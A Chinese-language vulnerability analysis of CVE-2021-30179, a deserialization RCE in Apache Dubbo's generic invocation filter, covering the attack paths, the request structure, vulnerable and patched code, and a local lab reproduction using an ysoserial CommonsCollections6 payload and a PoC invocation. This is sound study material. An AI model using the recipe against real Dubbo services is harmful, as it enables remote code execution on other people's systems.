CVE-2021-30179 — 泛化调用反射 RCE
漏洞概述
CVE 编号:CVE-2021-30179
CVSS 评分:9.8(Critical)
影响版本:Dubbo 2.5.x ~ 2.7.9, 3.0.0
修复版本:2.7.10, 2.6.10, 3.0.1
攻击协议:Dubbo 协议
攻击入口:GenericFilter(泛化调用过滤器)
漏洞原理
什么是泛化调用
Dubbo 的泛化调用(Generic Invoke)允许 Consumer 在不依赖 Provider 接口 JAR的情况下发起调用
使用方式:$invoke(方法名, 参数类型数组, 参数值数组)
默认启用,无法关闭
三种攻击路径(GitHub Security Lab 发现)
路径一:强制使用 Java 原生序列化
在 RPC Attachment 中设置 generic=nativejava
GenericFilter 收到请求后,使用 Java 原生反序列化处理参数
所有 ysoserial gadget chain 均可利用
路径二:强制使用 Bean 序列化
设置 generic=bean
GenericFilter 使用 JavaBeanDescriptor 反序列化
可以实例化任意类并调用 setter 方法 → JNDI 注入
路径三:利用 raw.return 绕过
设置 generic=raw.return
GenericFilter 跳过类型检查
参数直接传递给业务方法
路径一详解(最常用)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| 攻击者构造 RPC 请求: ┌─────────────────────────────────────────────────┐ │ Dubbo Header: DA BB C2 00 ... │ │ Body: │ │ dubbo_version: "2.7.8" │ │ service: "com.vuln.api.DemoService" │ │ version: "0.0.0" │ │ method: "$invoke" ← 泛化调用入口 │ │ param_types: "Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;" │ │ param_values: │ │ [0] = "sayHello" ← 方法名 │ │ [1] = ["java.lang.String"] ← 参数类型 │ │ [2] = [恶意序列化对象] ← Java 原生 payload│ │ attachments: │ │ "generic" = "nativejava" ← 关键!强制 Java 反序列化 │ └─────────────────────────────────────────────────┘
|
GenericFilter 处理逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public Result invoke(Invoker<?> invoker, Invocation inv) { String generic = inv.getAttachment("generic");
if ("nativejava".equals(generic)) { for (int i = 0; i < args.length; i++) { byte[] argBytes = (byte[]) args[i]; ObjectInputStream ois = new ObjectInputStream( new ByteArrayInputStream(argBytes)); args[i] = ois.readObject(); } } else if ("bean".equals(generic)) { }
}
|
复现步骤
环境搭建
1 2
| cd environments/cve-2021-30179 docker-compose up -d
|
攻击步骤
1 2 3 4 5 6 7 8 9 10 11 12
| # 1. 生成 Java 原生反序列化 payload java -jar ysoserial.jar CommonsCollections6 "touch /tmp/pwned" > payload.bin
# 2. 发送泛化调用请求(Python PoC 会自动构造) # PoC 会: # - 构造 $invoke 方法调用 # - 在 attachment 中设置 generic=nativejava # - 将 payload.bin 作为第三个参数 python exploits/cve_2021_30179_generic.py \ --target 127.0.0.1 \ --port 20880 \ --payload payload.bin
|
补丁分析
Dubbo 2.7.10 修复
移除 nativejava 泛化调用类型
GenericFilter 不再支持 generic=nativejava 参数
添加了更严格的泛化调用类型白名单
修复代码
1 2 3 4 5 6 7 8 9
| private static final Set<String> ALLOWED_GENERIC_TYPES = new HashSet<>( Arrays.asList("true", "raw.return", "bean") );
if (!ALLOWED_GENERIC_TYPES.contains(generic)) { throw new RpcException("Unsupported generic type: " + generic); }
|
关联的 Gadget Chain
路径一(nativejava):所有 ysoserial 链(CC/CB/ROME 等)
路径二(bean):JNDI 注入(XBean、Spring JNDI 等)
思考与延伸
泛化调用是 Dubbo 特有的攻击面
它本质上允许攻击者控制”使用哪种反序列化方式”
与 CVE-2021-25641(篡改 SerID)思路类似,但在应用层而非协议层
后续的 CVE-2023-23638 又找到了新的绕过方式